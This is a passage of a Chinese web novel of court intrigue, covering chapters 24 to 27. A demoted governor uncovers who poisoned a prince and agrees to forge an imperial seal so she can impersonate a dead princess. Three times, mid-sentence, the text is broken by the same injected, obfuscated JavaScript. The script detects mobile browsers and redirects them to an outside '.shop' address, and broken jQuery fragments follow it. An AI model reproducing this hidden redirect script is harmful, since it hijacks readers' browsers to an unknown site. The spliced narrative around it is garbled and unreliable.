“……算了,我原谅你,只是,我倒是想不通,你有这般才华,怎么会沦落到这里?”
“太守既问,我不敢不答。”沈昱艰难地站起来,话音却沉了下来,带着不符年纪的苍凉:“我自幼父母双亡,由祖母拉扯大,家中无余钱购书,我便常去书店帮工……我看得最多的便是今古奇案。”
晏楚鹤皱着眉,但见对方言辞真切不似作假,便也耐着性子没有打断。
“十六岁那年,邻家失窃,官差草草定为流贼所为。我偏不信,破了案件后被州里一位大人记下。之后几年跟着查了几个案子,案虽不大,酬劳也薄,可每破一桩,心里便觉踏实。”
沈昱嘴角动了动,苦笑着:“直到去岁,我被京都来的大人物调走去查一桩奇案,一同查案的,皆是刑部老吏、地方名捕。整个案件毫无头绪,唯有我凭着蛛丝马迹,从死者身上破了案子。”
烛火在他眼中轻轻跳动,他却是目不转睛:“只是到头来,功劳却全落在了那几位老师爷身上头上。我只得了几句虚赞,便被遣返。那些人怕我说出去,竟动了灭口的心思。我逃回家乡时,祖母已病重,我那些积蓄居然只够买个薄棺——太守为何叹气。”
晏楚鹤不知何时已挨着残垣坐下,感慨道:“只是有同感罢了,我所做之事,最后也成了他人的功劳。”
为燕王做嫁衣,也不知道是对是错。
“是啊,初见太守时我便觉得,太守敢只身闯司马府,定是和我有着同样的困境。”
晏楚鹤侧目看他,忽而一笑:“我比不上你,你功夫这般粗浅,还敢往里闯。”
沈昱苦笑:“太守说的是。”
“我不是在嘲笑你,我发自内心地欣赏你这种人。”晏楚鹤收起笑意,语气反倒认真起来,“身在局中,犹不肯随波逐流;明知不敌,依旧敢于反抗。”
“太守……”沈昱怔了怔:“您竟然如此坦诚……倒让在下更觉惭愧……其实,我还有一事没有坦白。”
又来?晏楚鹤神色一凛,感慨道:“罢了,你已经坑害我那么多回,我也不可能更讨厌你了。”
沈昱吸了口气,大概是把她的话当真,便道:“我所参与的那起奇案中,死者本是勾结前朝的逃犯,只是王家咬定有蹊跷,在下得以参与案件,又在巧合中循着蛛丝马迹找到了尸体,断定真相。这之后便被追杀,逃难至此……
方才一直忘记说了,我来自蜀地。”
蜀地,益州,陇西县。
24. 因缘蜀地来
王家在蜀地办的大案,必然是王县丞坠崖一事。
这回轮到晏楚鹤愣住了,她默了会,压下脾气,唇角撤出无奈的笑:“看来你我二人,还真是有缘。”
闲聊到此为止。
前前后后算起来,她已被这位师爷或直接、或间接地算计了四次。他的真实身份与目的,恐怕此刻就要揭晓了。
“楚太守这回倒是不生气?”
“怎么会,你和我坦白,我开心还来不及呢。”晏楚鹤这么说,眼里的愤恨却是懒得掩饰,“原来害我杀人之事败露,能有机会被贬到这里改过自新的人就是沈师爷你啊,真是聪明绝顶,本官深感佩服。”
沈昱的神情却与先前一般恳切:“当时情非得已,还望太守见谅。毕竟您若仍在京都身居高位,我们实在难以接近。而且那时候,京都传闻您会成为燕王妃,到那时候恐怕就真的来不及了。事急从权,还请您见谅。”
“我们?”
“嗯,我们,”沈昱郑重地点头,随机话锋一转,“太守可曾听闻,永宁公主的死讯?”
“……是那位被派去和吐蕃和亲的前朝公主吧?”晏楚鹤装作思考的样子,沉吟片刻后道。
这个封号她绝不可能忘记的。正是那张与自己相似的脸,让她平白卷入无数风波。哪怕时至今日,她已经是太守,还是有人盯着这件事不放。
“正是,她是宥国国君的直系后代,亦是旧宥王室仅存的子嗣。因其母族与夏国皇室有旧,才得封公主。只可惜此番和亲路上遇害,吐蕃发动战争的理由也正皆由于此。”
晏楚鹤微微点头,她还摸不准这个人的来意。
“不知楚太守对此事了解多少。”
晏楚鹤斟酌道:“那年我恰好在蜀地,略有耳闻,所知不详。听闻是……天灾?”
“是洪水。但事后打捞,我等始终寻不到公主遗体。”沈昱语速放缓,字字清晰,“那日水势虽猛,但公主所行路线并非险恶,若早有准备,在那般情势下,并非无法逃生。”
“所以你怀疑,永宁公主未死?”
“是。更巧的是,公主失踪不久,便有一位容貌肖似她的女子现身蜀地,更登上了京都朝堂,凭借对帝王的了解成了权臣。”
晏楚鹤无奈地笑了笑,她正要解释清楚自己不是永宁,话到嘴边却骤然转念——公主假死、隐姓入京,又一步步成了女官的故事,若能加以利用……此计未尝不可。
只可惜,永宁公主可没有楚御史的雕刻技艺,楚太守的轻功与这一身常经风日的肤色。。晏楚鹤遗憾地摇了摇头,道:“世间容貌相似者常有,只是巧合罢了。”
沈昱对这几个问题显然有自己的想法,他依旧拿她当永宁公主试探:“今日多谢楚太守相救,我就住在县西的来福客栈,太守若是需要人手帮助,或是有了新的答案,随时都可以来寻我。”
“那我便先谢过了,”晏楚鹤说完,自然是要起身离开。
“太守当真没有其他要问的了?”
她脚步微顿,转身看向背后的男子。他的眼神倒是复杂难辨,唯独困惑分明。这人破案时心思玲珑,此刻怎又这般执拗?晏楚鹤心念微动,随口抛出一问:
“你认不认识路斐,
武昌侯,户部侍郎,路斐?”
——
“武昌侯?!皇上真当真要擢升那路斐小儿为户部尚书?!”
燕王府内,药香浓稠,带着那股沉疴积郁的衰败。燕王的谋士,如今跟着水涨船高做了御史的季收霍然起身,话音未落,便是一阵撕心裂肺的呛咳,面庞瞬间涨得通红。一旁的内训使令狐暄忙上前扶住,递上温水,忧急道:“季先生,还请慢一些。”
“慢不得慢不得啊!这路斐狼子野心,燕王殿下一病倒,他便在京中上下其手,四处串联,竟连曹家、谢家那几个老滑头都被他撺掇得摇摆不定,同殿下唱反调!可恨,可恨至极!”
病榻上,窦怀谦静静躺着,面色惨白如宣纸,昔日里总是神采奕奕的那双丹凤眼也有些黯淡,说起话来更是气息游离:“季先生……纵无路斐,亦会有旁人……趋炎附势,乃官场常态……只怪本王……自身不济,偏偏病在此时……拖累诸位了。”
“殿下何出此言!”季收闻言,更是痛心疾首。
他身旁坐着的温婉女子一袭素衣,未施粉黛,年轻温婉的面庞上泪痕犹湿,眼圈微红。这位就是赵家的燕王妃,赵观澜。
她开口还算坚毅:“眼下最最要紧的,是您的静养。朝中诸事,纵有波澜,自有妾身与众位大人一同担待、设法周旋。季先生与令狐内训今日所虑之事,臣妾稍后便召集可靠僚属,今日必议出个应对的方略来。”
窦怀谦珍重地点了点头,恰在此时,门外骤然传来一阵磬铃交错的怪声。赵观澜眉头蹙起,神情同面向窦怀谦时判若两人:“外间何事喧哗?”
已疾步查看回返,面色凝重,低声禀道:“是陛下……又遣了僧道前来,言说殿下之病来得蹊跷,恐涉阴祟,需轮番入府行法驱邪。其中还有女道,说是,穿着打扮特殊,说是唯有方外之人才能留住殿下的血脉。”
“岂有此理——”季收正要发作,却被赵观澜一记眼神截住。
室内陷入短暂的死寂,只听得窗外那令人心烦意乱的诵经摇铃声越来越近。赵观澜深吸一口气,转而看向令狐暄:“母妃现下在何方?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882405|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
令狐暄的声音更低了:“娘娘得了陛下的许可,一早便去了昭宁公主府。昭宁公主将九皇子也接了过去。”
赵观澜不免身形一晃,强撑的镇静此刻碎了一地。九皇子,九皇子。刘贵妃育有一女二儿,九皇子今年刚满十五,刚去封地没多久——当今陛下践祚登基之时,也恰是十五。
病榻那头,窦怀谦隔着那么远,自然是是听不见他们几人说话的,但聪明如他,猜也猜到八九分,竟强提一口气自己起了身:“无妨,叫他们进来吧——”
未出口的话语被赵观澜按住,她看着窦怀谦的笑容,本想宽慰对方,却只能挤出一个大差不差的苦笑:“妾身知道,殿下想说为人子者需得尽孝,外面这些人既是父皇所遣,无论如何,都该由您亲自出面遣散……妾身只求殿下允准,让妾身陪着您一起可好……”
季收和令狐暄对看一眼,两人同是燕王阵营,职责相差太多,今日是初次见面,面上的悲愤与无力却是一样的。他们默默退了出去,被赶了出去,只能眼睁睁看着那支僧道混杂、形容各异的队伍,浩浩荡荡涌入内院。这般情形已非初次。
令狐暄想不通。为什么皇帝待自己的亲儿子和仇人一样?一开始还只是在庭院做法,搞些恼人的符纸,如今已经登堂入室,下一步是不是该要强灌燕王殿下那些来历不明的丹药呢?
娘娘也是……令狐暄心中涩然。她鲜少对贵妃生怨,她理解娘娘有时的残忍之举乃是为了未来的大业。可,燕王殿下也是她的亲生骨肉,就算是燕王殿下如今药石罔效,娘娘若真有改易扶持之心,也不该做得如此昭然,至少不能亲自去见九皇子。
最令人揪心的,仍是窦怀谦这病。来的太蹊跷了。初时,大家都以为只是风寒,没想到愈演愈烈,群医束手无策。明明储君之位就在眼前,这一病,朝野便流言四起,说他在蜀地落下病根,就算好了也无法延续皇室。谁能想,昔日那样风光的燕王殿下如今连话都说不出几句。
这简直,像是老天爷看不惯大夏啊……好不容易稳定的局势又乱了。
令狐暄正心乱如麻,忽与一人迎面撞上。对方身着太医官服,怀中书卷散落一地。
她赶紧拉他起来,问道:“可是殿下的病有说法了。”
那太医连连点头,气息未定:“下官翻遍案卷,终于寻到一例相似记载!请暄姑娘速带下官面见王妃!”
令狐暄忙替他拾起几册典籍,边走边急问:“是蜀地哪个方位的病例?今早王妃还问起成都的名医——”
“不,不是蜀地。”太医喘着气,声音里带着一丝惊悸般的颤抖,“是……京中的旧案。患者是……已故的益州都督,前任武昌侯。”
25. 吴门转粟帛
“武昌侯?”
春州,阳春县,破庙内,火光将沈昱脸上的思忖映照得一清二楚。他略带歉然地笑了笑:“我只听过有任武昌侯,似乎不知为何被前朝的人害死了。”
这人真是说什么都能扯到前朝。
晏楚鹤没再接话,心下已有了自己的盘算,径直回了府中。
如今虽然说大权已被林司马架空,但是但那些明令归属的职权,她仍可尝试动用。例如,勘核刑名。作为一州最高司法长官,林锵不让她判现在的案,她便抓住机会,又借着看乐子的名义,调阅了许多过往的卷宗,尤其是涉及赋税、田产与人命的旧档。
而有沈昱这位破案高手在,冤假错案段的又快又利落,打得林锵措手不及。偏偏桩桩件件刚刚好没怎么侵犯林锵的利益,搞得这位司马也不好说什么。
再者便是兴办女学,她自己确实还挺喜欢这份事业,亦深知这是与宫中贵妃拉近关系的一条蹊径——此时的晏楚鹤对京都局势、尤其是窦怀谦的病情一无所知。
晏楚鹤本想拜托才情不俗的小姨出面主持,连第一批学生都是现成的,府里那几个林锵强塞给她的丫鬟。不料晏季华却另有一番见地。
她发现了无人注意的商机。准确来说,春州偏僻,寻常人要做生意,鲜少会来这。
蜀地物产丰饶,既有蜀锦、名酒、漆器这类奢侈之物,也不乏药材等民生所需。晏家久居蜀地,世代经商,熟谙往来商路。如今的春州时疫方歇,瘴气犹存,蜀地药材中若有特殊之用的,自然可以大肆牟利——晏楚鹤当即否了借此敛财的念头,反而自掏腰包运来一批,再乘林司马看守松懈的时候免费散与百姓。
小姨那借药材牟利的商路虽未成行,却不妨碍她另起炉灶。凭着前任蜀地县丞夫人的见识与商人女儿的禀赋,她盘下一间临街铺面,挂出晏楚鹤解散了的,“孤鹤阁”的招牌。只是她如今卖的一半是联系外祖父,从蜀地来的锦缎、茶叶,另一半摆上春州本地的山货、香草。
女学的学生们课余在此帮手,学着辨识货品、记账核价、迎来送往,既赚得些许贴己,也长了持家的本事。
晏楚鹤也在经营自己的声名形象。从前在京都,人们表面敬重她,背地里把“女祸”弄权贪官的罪名全扣在她身上,她那时只需要在乎皇帝的想法,现在不一样了。林司马越是想将她隔绝于高墙之内,她越是要走到市井中去。
孤鹤阁的慈善活动,免费发放的药材,偶尔现身扶老人家过马路……晏楚鹤总能甩开林司马的眼线,出现在百姓的生活中。
当然,她这么做,也是为了给那位住在县西,和前朝关联密切的沈师爷看的。
她可以说是模仿刘霜清母子,将自己包装成一个贤明,慈爱,能力卓越的形象……为了给自己多条退路。
当然,不止一条。
春州倚着滔滔江水,官道却年久失修,水路陆路皆不太平,盗匪与私盐贩子横行,州府向来懒于过问。晏楚鹤来前细细考量过,若真想在此地长久立足,或许可以从这最暴利的私盐着手,天高皇帝远,在这盐铁转运使两年不来一次的地方,她自然是爱怎么样怎么样。
此外,此地自然资源并不算贫瘠,山间有沉香、鸡舌、檀香暗自生长,林深之处多珍木异材,羽色鲜丽的禽鸟皆具贡品之资。症结不在无货,而在货品杂芜、优劣难辨,更无通往富庶之地的稳定商路。
此事于她和晏季华而言,反而不难——订立品级、疏通门路,本是她们长在商人家自幼耳濡目染的事。晏楚鹤的过目不忘之能,让她对其它地方的定价也记得清楚,此刻派上了用场。
至于那御定的雕刻差事……既然是路斐害她来这里——晏楚鹤几乎是肯定是他干的。按照那人的个性,他绝对干得出这种事情。因此,她想,他一定有他的打算——难道只是害死她?他不会这么做,也没这么做的理由。
至于那“奇石”贡品,本就是个虚悬的由头。春州群山连绵,矿脉隐约,寻一块合用的石料慢慢雕琢,她耗得起这个工夫。再说,景安帝都未必能撑到那时候。
三个月的时间如檐下滴水,悄然而过。她的小动作林司马初时并不看在眼里。在他看来,这不过是新官上任例行的三把火,与历任者并无不同——无非是借着职便,寻些门路,填补私囊罢了。都是官场上心照不宣的常例,与真正的权柄争夺并无关系。
这时,晏楚鹤和京都的第一封书信,终于有了回音。
信中除了希望她保重身体,便是燕王重病的消息,刘霜清担心与蜀地有关,特意问她是否知晓隐情。
晏楚鹤正一面翻阅卷宗,一面提笔回信,下一封信却来得出乎意料的快,是故人的死讯。
昔日并肩作战的战友,她曾寄予厚望的明主——没想到那日宫宴一别竟是永别。晏楚鹤只觉得信纸攥在手中烫手,拿着不是,放下也不是。她怔了片刻,她似乎总在经历生离死别。
她记得窦怀谦在战场上笑得肆意,杀伐果决。是以,她无论如何都想象不出这个人病入膏肓的情形
……虚假的希望已然崩塌。
晏楚鹤从匣子里翻出那封变了色的手信,窦怀谦许诺的剑南节度使的位子,现在自然也成了空谈……不过,就算是窦怀谦没死,现在的剑南节度使也未必会答应。
如今这煌煌夏国积重难返,并不是一个知人善用的明君,一个骁勇善战的帝王所能改变的。晏楚鹤离京都越远,反而对这点参悟得越透彻。
“楚鹤,莫再发呆了,可是京都有什么变数?如今刚入春,冷一时暖一时,多添件衣裳总是好的。”
“嗯。”
晏楚鹤接过晏季华递来的暖炉,指尖渐渐回暖,心里那股子寒意被衬地更加明显了。信中提到,窦怀谦的症状,竟与一年前亡故的前任武昌侯如出一辙。昔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884532|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日她在京都,因路斐之故曾暗中查过那件事,如果她的猜想是真的——那。
晏楚鹤倒吸了一口凉气。
她敬佩他的决心。
——
“……在下对您的敬佩之情,溢于言表,纵是万言书信,也难尽其意。”
武昌侯府。
不过两年,路斐已与初赴益州时判若两人。年少时锋芒外露的戾气已然消退,笑时像含着一泓潋滟水光,看人时眼波微漾,不作表情时,一种更深沉、黏稠的东西,便从他周身无声地弥漫开来,眉眼间尽是看不破的缜密,又给人孤狐野狼之感。
路斐看这林司马处处讨好的字,只觉得恶心,反手便把信纸扔进火盆。立在一旁,他的手下阿顺识趣地一边用棍子搅了搅,一边仔细听主子交代下一步和其他几个世家的来往事宜。
现如今,晏楚鹤和王宇双双下台,燕王又突然病倒,这局面,能否拿到权力自然取决于谁能讨好景安帝——那狗皇帝大概是用了妖法,儿子突然死了,自己的寿命倒是长了。倒也便宜了他路斐,如今各个世家都赶着和他联系,毕竟他靠着他父亲,已故的武昌侯的份上,在皇帝面前至今还有几分恩宠。
但其实这份恩宠来的叫人笑话。他父亲名义上是为了保护景安帝而死于前朝余孽之手。但路斐深知,他父亲那时早已病骨支离,连站立都需人搀扶,自然是什么也做不成。其间到底如何,如今也只有他自己清楚。
他厌烦地向阿顺招手:“药备的怎么样?”
年轻的小厮一愣,随即躬身:“侯爷放心,知情的人全都妥善送离了京城。太医那边定然查不到我们身上。”
路斐叹了口气,无奈地摆手:“我问的是让你备的护手药膏。外面铺子里的信不过,还是咱们家生子调出来的可靠。”
他顿了顿,抬眼瞥了下阿顺,声音轻缓又不满:“而且,话不要说得那么满。这世上,哪有定然查不到的事?以刘霜清的能耐,查到我头上是迟早的。”
阿顺背上倏地窜起一层冷汗,忙垂首称是。路斐却不再看他,而是自个儿出神——他坏心思地想,知道窦怀谦的死讯,晏楚鹤此刻怕是难过得很吧?他总觉得她喜欢的是窦怀谦那个类型。想着想着,路斐自己倒觉得像是心头一直被人拿小针刺来刺去,折磨得很。
路斐抬手按了按眉心,像是想把那点不合时宜的情绪压下去,偏偏越压,脑子里关于那人的画面越清晰……春州阴湿得很,她那双用来雕刻的手,不会真的生了疮吧?
这时,阿顺惊呼打断了他的思绪:“侯爷,林司马的信纸里还藏了一张不一样的——”
路斐一惊,竟连思索都来不及,伸手便去取。能在给他的信中动手脚,除了那一个人,还能是谁?
被从火堆里救出的残缺纸片上只有两行字还算完好,又或许是只写了两行字。
“杀了你父亲,你后悔吗?”
26. 泛海陵蓬莱
春州,阳春县,州衙门,
四时流转不由人,晏楚鹤初至春州时尚在隆冬,她在这儿过了个特别的年关,一转眼又是夏日将至。
晏楚鹤换下防寒的衣物,倚在床榻边,独自出了神。
过几个月,同在春州一手遮天的司马林锵周旋,可比在京里对付那些自身难保的世家要困难多了。不过,她蛰伏许久,真正开始动手后,事情反而出乎意料地顺利。
又或者说,林锵,春州,本就是外强中干,勉强维持平静。
官府财库空空如也,林司马看似富庶,却在晏楚鹤的几次逼迫下始终未动用分毫。若那些金银真是他自己的,他断不会这般束手束脚。
还有动乱,皇帝昏庸、天灾频仍的年景,地方不乱才是不合常理。再加上,春州先前的太守一个接着一个死,格外乱。
再谈此地商业百废待兴,是以,她同晏季华的生意才会这样快就有起色……此间种种结合,想来,在她来之前,这林司马的生活也未必多肆意。
他背后又会是谁?
晏楚鹤垂着眼呼出一口气,又看向窗外,新生的枝叶在风中摇曳,春意正盛,同一旁的枯树对比鲜明。
如果是她猜想的那样……那封信,对方此刻应当已经收到了。
是窦怀谦的死给了她启发。
中毒,他身边人的被买通——晏楚鹤第一个怀疑的是那位燕王妃赵观澜。毕竟京中最新的信件,这位礼部尚书已经改投了王皇后的三皇子。但根据令狐暄的描述,似乎不是这样。
窦怀谦在京中没有根基,防得住明枪却防不住暗箭。晏楚鹤当御史时也遇到过这样的情况,她只懂几分药理,便选择一切从简,亲力亲为。窦怀谦却是碍于身份没得选。
贵妃在宫外亦是如此,缺乏人手,所以当时才会扶持她晏楚鹤当上女官……这样说来,昭宁公主窦沅却是在京中仆役众多,又是空有野心之人,极有可能受人蛊惑做出这种事——前朝曾在没有贤才时就曾立过皇太女。
此外,那毒极其特别,防不胜防,它能令身体强健之人初时出现风寒症状,毒气如春雪消融悄然渗入肺腑经络,使人气息渐弱、咳声渐深,却似病去如抽丝。待病状明显时,再补救也无济于事。晏楚鹤在蜀地没有见过这种毒,亦不知是哪个世家的阴毒手段。
更狠的是,这毒行尽即散,不留余毒,不染血脉。人一断气,体内便再寻不到半点异常。
比起微妙的下毒者,她倒是意外发现了另一个曾被忽略的关节。
此毒晚期的症状似痨病初起,传染性极强……若前任武昌侯路勤礼出现此类症状,以他一贯爱民如子、恪守礼教的性子,必会自避于人群,免传病气。
这便是晏楚鹤突然惊觉的盲点。
路勤礼出现在郊区,并非他自己所愿。
有人逼迫他去送死,有人故意编造出前朝余孽的谎言,有人因此大为获利,从众多世家子弟中脱颖而出,得到皇帝的看重。
……只有一个人。
“太守大人——武昌侯、武昌侯已经到府门外了!!!”小红姐扶着门框,胸脯还在剧烈起伏着,她刚从驿丞那儿得了消息,便一刻也不敢耽搁,飞奔来找晏楚鹤。
晏楚鹤立刻把手中的暖炉搁在一旁,抓起床榻上随意放的外袍,边快步走边道:“京都的高官怎么突然来这里?”
算着时日,再看到那封信之后,纵使日夜兼程,也至少还要一日才能来她这。
小红快速答道:“听说是走的官道,具体是干什么得还不清楚,只道车驾已经到城外了!”
……
城门外,
官道上正有一列小有规模的青盖车队缓缓而行,显然衣服奉皇帝的命令出行的样子。晏楚鹤眯着眼仔细望去,路斐策马在前,一身春服配着浅色薄裘,看不清眉目,那独一份的气质却已叫人心生戒备。
她停了,这车队也跟着停住。
晏楚鹤神色未动,翻身下马,声音随着风向送了出去:“武昌侯大人,半年前京都一别,尚闻贵体欠安,今日一见,倒是风姿更胜往昔。”
车队前一人翻身从黑马利落地跃下,走近了些:“晏太守客气,只是——您拦在这儿,可是不让我们侯爷进春州?”没记错的话,说话的是位叫做阿顺的小厮。
“侯爷奉皇名为圣上办事,要务在身,怎可为春州琐事所耽搁。”晏楚鹤边说,边朝北方京师方向拱手一揖,又是观察着不远处那人。
路斐却是毫不客气地策马徐行过来,至她前几步才停下,勾着嘴角,一副皮笑肉不笑的样子:“晏太守多虑了。此行虽承天恩,却也不急在这一时半刻。”
晏楚鹤懒得抬头看他,转而对着那小厮,道:“既如此,侯爷有话,不妨便在此处明言。”
“在何处说,不是说?”路斐轻笑一声,马鞭朝远处荒野随意一指,“不如请晏太守任择一个方向,你我同去。走上数十步,遇着的第一处落脚地——便是个破庙荒祠,也算是个清净说话处。”
这阳春县郊外,晏楚鹤平日确少踏足。路斐一来自信晏楚鹤与他无冤无仇不会害他,二来料定她在此处难有布置,这才敢如此提议。
晏楚鹤心中亦有一番衡量,她对自己指的方向也有信心,路斐再怎么神通广大也休想提前准备,便也点头。路斐这才下了马车,挥手令随行侍从往驿站歇息等候。
晏楚鹤轻功本佳,若真施展起来,路斐绝非她的对手。但她并未抢先,只敛了气息,跟在路斐身后。两人一路上无话,直至一处废弃驿亭。
亭顶半塌,木柱斑驳,恰好立着两个石凳,覆着一层凉意。晏楚鹤方才行路时正火热的气血又冷了下来。她调整衣服坐好,便静静地看向路斐,
她等着路斐开口。
她想说的,信上已经写得很清楚了。
路斐自然明白她的意思,只觉得浑身上下凉得慌,眼下的情形更是让他不由得倒吸了口气——他一路赶来,装得从容,其实连衣服都没换。毕竟,晏楚鹤是他苦心送离京城的一步暗棋,如今更是必须要稳住的要害!可是,这女人来信被他一时疏忽烧了大半,只剩两行没头没尾的话,啧。
棘手。
若是让她知道那封信被他烧得差不多,绝对会完蛋吧?路斐按下心绪,依着原先的打算,缓缓开口:“眼下,当真只有你我二人了。”
“嗯,”晏楚鹤一副略有所思的样子,她皱着眉,果然是开门见山:“来找我,你又有什么事?”
晏楚鹤的目光不偏不倚,恰如初见时一样。她的眉宇间尽是清正与凛然的本色,而非从前伪装出的,对上位者迎合的浊色。
眼底也一样,没有试探,算计,简单地只是映着他有些仓促的倒影,让人感觉坦荡又诚恳。
晏楚鹤不想和他这个有缘之人虚与委蛇。
路斐只觉喉咙干涩,连带着预先备好的谎言被咽了回去……既如此,或许同样说点无关痛痒的真话更能留住这女人。
“我父亲和皇帝……是总角之交,哪怕后来生了嫌隙,‘’忠君’二字也是他一生中最看重的。”
“排在一切之前?”
路斐点头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918657|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又道:“排在伦常,是非,甚至良知之前。起初他大概只是帮皇帝构思些应付太傅的功课,同寻常友人一般。
而后来,我所认识的他,便成了对宫中那些炼丹害命之事视若无睹之人……你也听闻过,前任武昌侯是近年来朝野称颂、百姓爱戴的‘半步圣人’。很难想象吧?人居然可以那么矛盾。”
他苦笑着,语速不自觉放慢,装作回忆的模样:“十岁那年,我刚被接回侯府后不久,曾私下花钱替一位奴隶赎身。那人自己残疾,家中还有病重的老母和妻儿,明明不合制度却不知怎地被选中服徭役,又不知怎地变成了奴隶。我父亲发现后,起先还颇为欣慰,说我终于有点儒者的样子了,但是,”
说到这,路斐眼神闪动,斟酌着语句,“他在得知那个男子是宫中道士选中的丹引之一后,他——”
话音戛然而止。
“他神情大变?”晏楚鹤忽然开口。
路斐一怔,猛地又想起自己父亲那张不苟言笑的脸在那时,竟然罕见地浮现出近乎诡异的情绪,难看的像是被各种东西撕扯。是情谊?伦理?仁心?路斐记不太清,只记得他父亲最后还是罚他抄书认错,那个人最后还是被送进了宫中,成了作丹引的奴隶。
现在想想,那不过是一张道貌岸然的伪君子嘴脸罢。
思及此,他的‘叙述’再次流畅起来:“是以,当我告诉他,寻到了一群身怀经世之才的仁人志士,有心辅佐陛下重归圣明。我父亲那时明明缠绵病榻,说话都费力,却还是被我递给他的策论吸引,露出衷心的笑容。”
那笑容从不曾对他展现过,路斐咽了咽,话锋一转:“他想见到这些人的心思愈发强烈,直到听我说明是前朝的人后才褪去——他其实是知道的,所谓前朝余孽并非大夏朝宣扬的那般可恶,而是另有隐情——我当时满脑子只想着一件事,
在‘忠君’之前,出现一条真正可以改变国家的道路,我父亲会不会有所转变。”
没有。
路勤礼假意答应,拖着病体,不问情由,不辨真假,带上了家传的宝刀——路斐回忆着,终是叹了口气,总结道:“……他打定主意要在死前替皇帝除掉威胁。我察觉时,已经来不及阻止了。”
没说出的话还有很多,晏楚鹤同样在思索着,路斐从前无法入仕,大概也是这位父亲为向君主表忠,主动牺牲了儿子的前途。
她对路勤礼的了解有限,连她都听过他少时的孝名,似乎是为了给病中长辈在冬日中吃上新鲜鲤鱼,自己脱光衣服在冰上来回摆动,那冬日寒冰竟然自行融化,他也得了鱼。这民间流传的版本已经神乎其神,不知多少可信,也不知他是不是这样要求路斐的。
……愚忠的父亲,和离的母亲,残忍的昏君,让人难以形容的他。晏楚鹤猜测下拼凑了七七八八。他说的话大部分是真的,她能感受到其中情绪。
大概是多年来梦里的羁绊吗?她很难对这个人恶语相向,也很难不相信这个人。
驿站的风吹得人发寒,晏楚鹤审视的目光却并不寒冷,那样缺少依据理由的信任果然又让路斐不自在,他突然开口:“楚太守,你能理解我吗?”
晏楚鹤想了想,摇了摇头。
但她又说道:“嗯,我对你,大概就像是你父亲对景安帝那样的心情。大概是因为缘分吧,再加上——我相信你的初衷。我也有着同样的感受。大夏从上到下,已经糟透了。
所以,你到底需要我做什么?”
“……一件特殊的雕刻。”
一件足以扮演前朝永宁公主的特殊雕刻。
27. 肉食三十万
见晏楚鹤答应,路斐也终于缓了口气,忙向前倾身,语速快而清晰:“前朝有一方传国玉玺,工艺精湛,天下皆知,世人都道那玉玺被大夏皇帝损毁,我却机缘巧合得了些残片,勉强拼凑些边角纹样,
若由你这样精通雕刻之人,依此形制、气韵,辅以前朝古籍中的描述加以补全,未必不能以假乱真。”
他顿了顿,又念出一个名字:“沈昱,他是我发掘的人,也是前朝的人。你清楚,他已经怀疑你就是永宁。”
晏楚鹤微微颔首,神色凝重,路斐同此前一样,总是作这么大胆的预想。
前朝……她心下微叹,她对此虽了解不多,但也对蜀地蛰伏的前朝势力略有耳闻,她长于此,永宁公主出事时她恰巧就在那。
再加上,她恰好有张相似的面容,又擅长雕刻,上述种种,大概就是路斐接近她的理由。
“前朝散落各地的势力,这些年来我暗中打听、联络,始终被隔绝在外……虽然规模不大,但在军备素质上并不逊色,若打出‘前朝公主’的旗号,想来便会有各方义士云集响应,”路斐继续分析着,“而且,永宁她在宫中深居简出,名为荣养,实则囚禁,见过她的人少之又少,
你在宫中生活过,也清楚这点。这些前朝遗老,也只是在她和亲路上,远远遥遥望过几下而已。”
语必,晏楚鹤将他所说的种种理由在心中盘了一遍,眉头紧锁:“你是说,让我假扮永宁,聚拢前朝势力,以此为基础起事?这岂不是舍近求远?”她不解地看向路斐,“京城中央如何脆弱,你比我清楚才是。从那下手,不比现在的方案直接?”
就像之前,她把赌注压在窦怀谦身上一样。
“直接?”路斐摇头,“扶持一个皇子?你我在京中这几年,看得还不够清楚么?一个权臣倒了,立刻有新的补上,盘根错节的世家大族根本动不了。光是一个王家就已经把你自己伤成这样。
再者,京都脆弱,地方自然强大。各地节度使和都督,哪个不是心怀鬼胎?”
晏楚鹤恍然,此人要的不止是中央那个皇位,而是天下重归一统。
这比她想的要困难多了,她迟疑道:“中央尚还有些兵马,讨伐地方也名正言顺,前朝之事——”
“大夏皇室太过瞩目了,楚鹤,”路斐忽而唤她的名字,一瞬间,她好像又回到过去无数个梦里一样。那双桃花眼褪去戾气,正柔和地注视着她,“而且,我们所需要的是一个全新的国家。”
他自然地靠近了一步,突然抬手替她挡住将要掉在头上的树叶,目光却落在她身上,未曾移开。
“我想要改变这个时代。”
“嗯。”
“你放心,我们大可作壁上观,待他人先反,你再带着前朝势力入场,如此便更稳妥些。”
“那,明彰,若是没有人先一步起事呢?”
